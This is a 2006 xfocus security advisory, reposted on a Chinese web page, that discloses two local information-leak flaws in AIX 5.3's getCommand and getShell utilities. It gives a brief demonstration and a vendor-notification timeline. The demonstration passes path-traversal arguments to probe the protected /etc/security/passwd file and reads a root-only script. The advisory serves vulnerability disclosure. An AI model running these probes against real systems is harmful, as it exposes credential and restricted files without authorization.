注册
登录
| 关键词： nbsp getCommand security 3.00 bash tmp getShell Vendor xfocus etc |
创建时间：2006-01-01文章属性：原创文章提交：root (webmaster_at_xfocus.org)Title:[xfocus-SD-060101]AIX getCommand&getShell two vulnerabilitiesAffected version : aix5.3 ml03,Other versions not test, should also be affected.Vendor: http://www.ibm.com/Where: LocalXFOCUS (http://www.xfocus.org) had already discoveredsome vulnerabilities in getCommand&getShell.After apply newest patch,getCommand&getShell still have twovulnerabilities,That is1: exploit that,a attacker can determine file be exist or not,whichshould can't readed2: exploit that,a attacker can read in any shell document(include nopermission file) has the cd operation the following partial content.example test:-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd-bash-3.00$./getCommand.new ../../../../../../etc/security/passwd.aafopen: No such file or directory-bash-3.00$ ls -ld /etc/security/drwxr-x--- 4 root security 512 2005-12-22 21:09 /etc/security/-bash-3.00$ ls -l /tmp/k.sh -rwx------ 1 root system 79 2005-12-22 23:40/tmp/k.sh-bash-3.00$./getCommand.new ../../../../../tmp/k.shps -ef > /tmp/log. $$grep test /tmp/log.$$ rm /tmp/log. $$-bash-3.00$TIME LINE:December,26 2005 - Initial vendor notification.....Waiting.....Waiting....January 1, 2006 - Public disclosure(vendor not reply)--EOF |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
